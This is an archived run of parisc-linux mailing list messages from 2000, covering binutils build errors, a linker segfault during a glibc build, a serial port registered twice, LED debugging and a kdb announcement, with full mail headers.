X-Trace: ger.gmane.org 1416618951 819 80.91.229.3 (22 Nov 2014 01:15:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: grundler@cup.hp.com  Thu Jun  1 10:29:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA16792
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Jun 2000 10:29:42 -0600
Original-Received: (qmail 25288 invoked by uid 15267); 1 Jun 2000 16:30:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25242 invoked from network); 1 Jun 2000 16:30:09 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 1 Jun 2000 16:30:09 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 821703D5B; Thu,  1 Jun 2000 12:30:06 -0400 (EDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP
	id 188CC4FD8E; Thu,  1 Jun 2000 11:29:50 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id JAA04314; Thu, 1 Jun 2000 09:30:47 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 01 Jun 2000 17:08:29 PDT."
             <Pine.LNX.4.21.0006011600290.30171-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7397

Alan Modra wrote:
> I've just checked in the following:
> 
> Rewrite much of the stub handling code (still using r8)
> Fix expression parsing for `!' line separator. 
> Fix sizing of branches & other miscellaneous small fixes. 
> 
> Feedback appreciated.

Ok.  I get an error when building:
...
gcc -W -Wall -g -O2 -o as-new app.o as.o atof-generic.o bignum-copy.o cond.o depend.o dwarf2dbg.o ecoff.o ehopt.o expr.o flonum-copy.o flonum-konst.o flonum-mult.o frags.o hash.o input-file.o input-scrub.o listing.o literal.o macro.o messages.o output-file.o read.o sb.o stabs.o subsegs.o symbols.o write.o tc-hppa.o obj-elf.o atof-ieee.o ../opcodes/.libs/libopcodes.a ../bfd/.libs/libbfd.a ../libiberty/libiberty.a
read.o: In function `read_a_source_file':
/linux/grundler/build-2.10-32/gas/../../binutils-2.10/gas/read.c:1107: undefined reference to `found_comment'
collect2: ld returned 1 exit status
make[3]: *** [as-new] Error 1
make[3]: Leaving directory `/linux/grundler/build-2.10-32/gas'
make[2]: *** [all-recursive] Error 1
...

Any idea what's missing?

config.status contains:
../binutils-2.10/configure --host=i686-pc-linux-gnu --target=hppa1.1-linux --prefix=/opt/puffin --disable-nls --norecursion 

I assume that's the original config line plus some defaults.

thanks,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No handler for interrupt 259
Date: Thu, 01 Jun 2000 13:26:42 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <E12xac6-0008An-00@endor.fc.hp.com>
References: <200005311727.KAA02868@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618952 822 80.91.229.3 (22 Nov 2014 01:15:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: bame@endor.fc.hp.com  Thu Jun  1 13:26:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA18027
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Jun 2000 13:26:15 -0600
Original-Received: (qmail 8142 invoked by uid 15267); 1 Jun 2000 19:26:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8128 invoked from network); 1 Jun 2000 19:26:44 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 1 Jun 2000 19:26:44 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel1.hp.com (Postfix) with ESMTP id AA60019E64
	for <parisc-linux@thepuffingroup.com>; Thu,  1 Jun 2000 15:26:43 -0400 (EDT)
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 1E0084FD82
	for <parisc-linux@thepuffingroup.com>; Thu,  1 Jun 2000 14:26:43 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12xac6-0008An-00; Thu, 01 Jun 2000 13:26:42 -0600
In-reply-to: Your message of "Wed, 31 May 2000 10:27:23 PDT."
             <200005311727.KAA02868@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7398


= So who *is* generating interrupt on EIRR bit 3?
= And do they interfer with Dino operation later by
= generating additional spurious interrupts?

It goes away when I remove CONFIG_VT...  Perhaps coincidence, perhaps not.

	-P


From - Thu Nov 08 21:12:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Binutils update
Date: Fri, 2 Jun 2000 10:13:48 +1000 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006021003220.18473-100000@front.linuxcare.com.au>
References: <E12xXR7-0006q9-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618952 827 80.91.229.3 (22 Nov 2014 01:15:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@endor.fc.hp.com>, Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Thu Jun  1 18:20:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA20685
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Jun 2000 18:20:13 -0600
Original-Received: (qmail 18660 invoked by uid 15267); 2 Jun 2000 00:20:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18648 invoked from network); 2 Jun 2000 00:20:41 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 2 Jun 2000 00:20:41 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA19386;
	Fri, 2 Jun 2000 10:13:48 +1000
In-Reply-To: <E12xXR7-0006q9-00@endor.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7399

On Thu, 1 Jun 2000, Paul Bame wrote:

> gcc -W -Wall -g -O2 -o as-new app.o as.o atof-generic.o bignum-copy.o cond.o depend.o dwarf2dbg.o ecoff.o ehopt.o expr.o flonum-copy.o flonum-konst.o flonum-mult.o frags.o hash.o input-file.o input-scrub.o listing.o literal.o macro.o messages.o output-file.o read.o sb.o stabs.o subsegs.o symbols.o write.o tc-hppa.o obj-elf.o atof-ieee.o ../opcodes/.libs/libopcodes.a ../bfd/.libs/libbfd.a ../libiberty/libiberty.a
> read.o: In function `read_a_source_file':
> /users/bame/palinux/binutils-2.10/gas/read.c:1107: undefined reference to `found_comment'
> collect2: ld returned 1 exit status

Oops.  That leaked in from a patch I made to help find semicolons lurking
in C asm statements.  I've reverted the patch to gas/read.c

-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:12:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Minor binutils-2.10 patch.
Date: Fri, 2 Jun 2000 13:34:03 +1000 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006021330240.18473-100000@front.linuxcare.com.au>
References: <39371BD1.3B3AEB40@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416618952 829 80.91.229.3 (22 Nov 2014 01:15:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: alan@linuxcare.com.au  Thu Jun  1 21:33:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA22407
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Jun 2000 21:33:44 -0600
Original-Received: (qmail 1924 invoked by uid 15267); 2 Jun 2000 03:34:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1901 invoked from network); 2 Jun 2000 03:34:13 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 2 Jun 2000 03:34:13 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA25659;
	Fri, 2 Jun 2000 13:34:04 +1000
In-Reply-To: <39371BD1.3B3AEB40@uswest.net>
Content-ID: <Pine.LNX.4.21.0006021330242.18473@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7400

On Thu, 1 Jun 2000, Ryan Bradetich wrote:

> Here is a minor patch to the binutils so it will compile on HP-UX 10.20
> (C200+)

Applied.  Please send a ChangeLog entry too in future.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ttyS00 reported twice
Date: Thu, 01 Jun 2000 23:04:08 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <200006020604.XAA05048@milano.cup.hp.com>
References: <20000531164102.L2253@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618953 830 80.91.229.3 (22 Nov 2014 01:15:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Fri Jun  2 00:02:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA24291
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jun 2000 00:02:43 -0600
Original-Received: (qmail 14612 invoked by uid 15267); 2 Jun 2000 06:03:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14602 invoked from network); 2 Jun 2000 06:03:09 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 2 Jun 2000 06:03:09 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 5445530; Fri,  2 Jun 2000 02:03:09 -0400 (EDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP
	id 4F3994FD96; Fri,  2 Jun 2000 01:03:08 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id XAA05048; Thu, 1 Jun 2000 23:04:09 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 31 May 2000 16:41:02 PDT."
             <20000531164102.L2253@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7401

Richard Hirst wrote:
...
> The solution might be to make register_serial() aware of whether rs_init()
> has yet been called.  If it hasn't, register_serial() just queues the
> struct_serial that was passed in and returns success.  At the end of
> rs_init() we call register_serial() again for each item in the queue.
> This is similar to what happens with the net devices.

Richard,
For lack of visible discussion, I'd say just do it.

This sounds like a reasonable approach. Error recovery is the only
potential pitfall.

thanks,
grant


From - Thu Nov 08 21:12:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bas Valkema" <bvalkema@knowhowww.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LED's on the machine
Date: Thu, 1 Jun 2000 20:39:35 +0200
Lines: 7
Approved: news@gmane.org
Message-ID: <000001bfcc73$9ede5720$0303a0c0@nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618953 833 80.91.229.3 (22 Nov 2014 01:15:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:53 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: bvalkema@knowhowww.nl  Fri Jun  2 03:19:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA25785
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jun 2000 03:19:46 -0600
Original-Received: (qmail 9931 invoked by uid 15267); 2 Jun 2000 09:20:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9917 invoked from network); 2 Jun 2000 09:20:16 -0000
Original-Received: from mail.superweb.nl (HELO mail01.superweb.nl) (213.171.128.12)
  by mailserv2.iuinc.com with SMTP; 2 Jun 2000 09:20:16 -0000
Original-Received: from bas (dialup130-4.superweb.nl [213.171.130.4]) by mail01.superweb.nl with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id KQ546HZ3; Fri, 2 Jun 2000 11:13:55 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:7402

Wouldn't it be nice to use the leds in front of the machine for debugging?

BTW: On my Apollo 715/50 Linux runs quite stable (built with bin
2: The PA-RISC version of Mach contains nice code......




From - Thu Nov 08 21:12:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LED's on the machine
Date: Fri, 2 Jun 2000 09:17:16 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20000602091716.B28818@puffin.external.hp.com>
References: <000001bfcc73$9ede5720$0303a0c0@nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618953 839 80.91.229.3 (22 Nov 2014 01:15:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:53 +0000 (UTC)
To: Bas Valkema <bvalkema@knowhowww.nl>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Fri Jun  2 09:18:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA29608
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jun 2000 09:18:19 -0600
Original-Received: (qmail 1373 invoked by uid 15267); 2 Jun 2000 15:18:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1343 invoked from network); 2 Jun 2000 15:18:49 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 2 Jun 2000 15:18:49 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id JAA29602;
	Fri, 2 Jun 2000 09:17:16 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <000001bfcc73$9ede5720$0303a0c0@nl>; from Bas Valkema on Thu, Jun 01, 2000 at 08:39:35PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7403

On Thu, Jun 01, 2000 at 08:39:35PM +0200, Bas Valkema wrote:
> Wouldn't it be nice to use the leds in front of the machine for debugging?

The code is there, if you want to use it (if it isn't in the TPG tree
it's in the SF one).  I prefer having a stable console so you don't
actually need to decode leds all the time.

> 2: The PA-RISC version of Mach contains nice code......

which you cannot copy-and-paste (license problems) but you can use as a
reference implementation - and really you don't want to do more than that.

	Philipp Rumpf


From - Thu Nov 08 21:12:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [kaos@ocs.com.au: Announce: kdb v1.2 is available]
Date: Fri, 2 Jun 2000 13:39:57 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20000602133957.N4081@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618954 842 80.91.229.3 (22 Nov 2014 01:15:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Fri Jun  2 10:39:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA30622
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jun 2000 10:39:32 -0600
Original-Received: (qmail 10492 invoked by uid 15267); 2 Jun 2000 16:40:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10445 invoked from network); 2 Jun 2000 16:40:00 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 2 Jun 2000 16:40:00 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id NAA13488
	for parisc-linux@thepuffingroup.com; Fri, 2 Jun 2000 13:39:57 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7404


Keith mentions he's `positioning kdb for different architectures'.  Any
volunteers to hack on this for parisc?

----- Forwarded message from Keith Owens <kaos@ocs.com.au> -----

Delivered-To: thepuffi-willy@thepuffingroup.com
X-Mailer: exmh version 2.1.1 10/15/1999
From: Keith Owens <kaos@ocs.com.au>
To: kdb@oss.sgi.com
Cc: linux-kernel@vger.rutgers.edu
Subject: Announce: kdb v1.2 is available
Date: 	Fri, 02 Jun 2000 17:00:01 +1000
Precedence: bulk
X-Loop: 	majordomo@vger.rutgers.edu

SGI Kernel Debugger - http://oss.sgi.com/projects/kdb

kdb v1.2 is available for ix86 with patches against 2.3.99-pre2 and
2.4.0-test1.  You need modutils >= 2.3.11 to use kdb v1.2.

Most changes are internal, positioning kdb for different architectures.
Users will see better symbol information, hardware and software
breakpoints, more reliable SMP handling.



From - Thu Nov 08 21:12:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@puffin.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New glibc and new linker SEGV
Date: Fri, 02 Jun 2000 16:39:12 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <m12y05x-001VscC@chalet>
Reply-To: bame@puffin.external.hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618954 846 80.91.229.3 (22 Nov 2014 01:15:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@bame.riverrock.org  Fri Jun  2 16:42:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA03759
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jun 2000 16:42:58 -0600
Original-Received: (qmail 24196 invoked by uid 15267); 2 Jun 2000 22:43:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24158 invoked from network); 2 Jun 2000 22:43:27 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 2 Jun 2000 22:43:27 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m12y05x-001VscC@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Fri, 2 Jun 2000 16:39:13 -0600 (MDT) 
Errors-To: bame@puffin.external.hp.com
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:7405


I mergeed our glibc with June 1 sources from sourceware.cygnus.com
and it appears to be pretty healthy so I'm committing it.  FYI the
CVS e-mail message is truncated because after 30 minutes of CPU time
I got tired of waiting for the damn perl script and killed it :->

However the glibc build needs to be faked out a bit because the latest
(otherwise pretty darn good) linker is dying inside the glibc build
with:

    hppa1.1-linux-gcc -nostdlib -nostartfiles -o locale/localedef [...]
    collect2: ld terminated with signal 11 [Segmentation fault], core dumped
    make[2]: *** [/work/xc-build/build-glibc/locale/localedef] Error 1

Since these glibc-built executables aren't being used yet, I fake out
the build by doing "cp /bin/date locale/localedef", then run make again,
copy /bin/date over the next failed link target, repeat until the make
succeeds.

Oh, and if you see
    test ! -d CVS || cvs commit -m'Regenerated from ../sysdeps/gnu/errlist.awk ../manual/errno.texi' ../sysdeps/gnu/errlist.c
    Permission denied
just restart the make :-(

I updated the pre-built toolchain for Debian potato x86 at
ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/elf32x86.tar.gz

		-Paul Bame


From - Thu Nov 08 21:12:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New glibc and new linker SEGV
Date: Sat, 3 Jun 2000 14:23:02 +1000 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006031418130.22936-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0006031200490.22936-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618954 851 80.91.229.3 (22 Nov 2014 01:15:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@puffin.external.hp.com
Original-X-From: alan@linuxcare.com.au  Fri Jun  2 22:22:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA06165
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jun 2000 22:22:45 -0600
Original-Received: (qmail 4777 invoked by uid 15267); 3 Jun 2000 04:23:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4738 invoked from network); 3 Jun 2000 04:23:12 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 3 Jun 2000 04:23:12 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA24979;
	Sat, 3 Jun 2000 14:23:02 +1000
In-Reply-To: <Pine.LNX.4.21.0006031200490.22936-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7406

On Fri, 2 Jun 2000 bame@puffin.external.hp.com wrote:

>     hppa1.1-linux-gcc -nostdlib -nostartfiles -o locale/localedef [...]
>     collect2: ld terminated with signal 11 [Segmentation fault], core dumped
>     make[2]: *** [/work/xc-build/build-glibc/locale/localedef] Error 1

Arrgh.  More of those undefined weak symbols.  This one used DPREL21L, and
sym_sec is NULL...  I'll be committing a fix soon, after I've done some
testing.

Regards, Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Neufeld <neufeld@physics.utoronto.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] Picky details of TLB fault handlers
Date: Mon, 22 Mar 1999 09:11:15 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <199903221411.JAA18643@caliban.physics.utoronto.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618955 852 80.91.229.3 (22 Nov 2014 01:15:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:55 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: neufeld@caliban.physics.utoronto.ca  Mon Mar 22 09:11:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id JAA00638
	for <hppa-linux@sod.res.cmu.edu>; Mon, 22 Mar 1999 09:11:21 -0500
Original-Received: (qmail 19578 invoked by uid 15267); 22 Mar 1999 14:10:24 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 19571 invoked from network); 22 Mar 1999 14:10:24 -0000
Original-Received: from caliban.physics.utoronto.ca (128.100.75.114)
  by mailserv2.iuinc.com with SMTP; 22 Mar 1999 14:10:24 -0000
Original-Received: (from neufeld@localhost)
	by caliban.physics.utoronto.ca (8.9.2/8.8.8) id JAA18643
	for hppa-linux@thepuffingroup.com; Mon, 22 Mar 1999 09:11:15 -0500 (EST)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
Xref: news.gmane.org gmane.linux.ports.parisc:7407

   Here's a question probably best suited for the folks at HP. The
PA-RISC 2.0 documentation says that a (software) TLB miss fault handler
cannot use virtual addressing. OK, what constitutes an exit from the
handler? Can you use virtual addressing after the last modification the
handler makes to the TLB (perhaps after executing several instructions
which don't require virtual addressing to load the pipeline), or do you
have to execute an explicit return from interrupt?


-- 
 Christopher Neufeld                   neufeld@physics.utoronto.ca
 Home page:  http://caliban.physics.utoronto.ca/neufeld/Intro.html
 "Don't edit reality for the sake of simplicity"


From - Thu Nov 08 21:12:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ttyS00 reported twice
Date: Sat, 3 Jun 2000 21:42:15 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20000603214215.F953@linuxcare.com>
References: <20000531164102.L2253@linuxcare.com> <200006020604.XAA05048@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
